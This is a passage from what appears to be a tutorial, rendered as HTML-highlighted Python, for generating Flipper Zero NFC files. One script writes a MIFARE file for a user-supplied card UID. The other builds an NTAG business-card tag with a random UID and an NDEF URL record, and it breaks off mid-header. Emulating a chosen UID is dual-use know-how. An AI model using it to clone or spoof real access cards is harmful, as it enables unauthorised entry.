&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    uid_input &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; sys.argv[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    try&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        nfc_data &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; generate_nfc(uid_input)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        filename &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;mifare_&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;uid_input.replace(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;).upper()&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;.nfc&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;        with&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; open&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(filename, &lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;encoding&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; f:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;            f.write(nfc_data)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Success. File saved as: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    except&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; Exception&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; as&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; e:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Error: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In terminal enter:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;your_file_nam&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;.py&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;YOUR_UID&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Instagram, Blog Digital Business Cards&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; sys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt; generate_random_uid&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;    &quot;&quot;&quot;Generate 7-byte UID conforming to NTAG spec (starting with 0x04) with corresponding BCC&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    uid &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;04&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; [random.randint(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; _ &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    # 0x88 is Cascade Tag (CT)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    bcc0 &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; 0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;88&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; ^&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; uid[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; uid[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; uid[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    bcc1 &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; uid[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; uid[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; uid[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; uid[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; uid, bcc0, bcc1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt; encode_url_to_ndef&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(url):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;    &quot;&quot;&quot;Encode URL to NDEF URI format byte array&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    prefixes &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;http://www.&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;01&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;https://www.&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;02&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;http://&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;03&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;https://&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;04&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;tel:&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;05&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;mailto:&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;06&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    prefix_code &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; 0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;00&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    url_body &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; url&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; prefix, code &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; prefixes.items():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; url.startswith(prefix):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;            prefix_code &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; code&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;            url_body &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; url[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(prefix):]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;            break&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    url_bytes &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; url_body.encode(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;utf-8&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    payload_len &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(url_bytes) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#8B949E&quot;&gt; # 1 byte for prefix code&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; payload_len &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 254&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;         raise&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; ValueError&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;URL too long, cannot store in standard Short Record NDEF.&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    # NDEF Record: [D1] [01] [Payload Len] [55=&apos;U&apos;] [Prefix Code] [URL]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    ndef_record &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; bytearray&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;([&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;D1&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;01&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, payload_len, &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;55&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, prefix_code]) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; url_bytes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    # TLV Header: [03=NDEF Message] [NDEF Len] [NDEF Record] [FE=Terminator]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    tlv_msg &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; bytearray&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;([&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;03&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(ndef_record)]) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; ndef_record &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; bytearray&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;([&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;FE&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    # Pad to multiple of 4 for Page size&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    while&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(tlv_msg) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 4&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; !=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        tlv_msg.append(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;00&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; tlv_msg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt; generate_nfc_file&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(url):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    uid, bcc0, bcc1 &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; generate_random_uid()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    uid_hex_str &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot; &quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;.join([&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;:02X}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; b &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; uid])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    header &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Filetype: Flipper NFC device&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Version: 4&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Device type: NTAG/Ultralight&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;        f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;UID: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;uid_hex_str&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;ATQA: 00 44&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
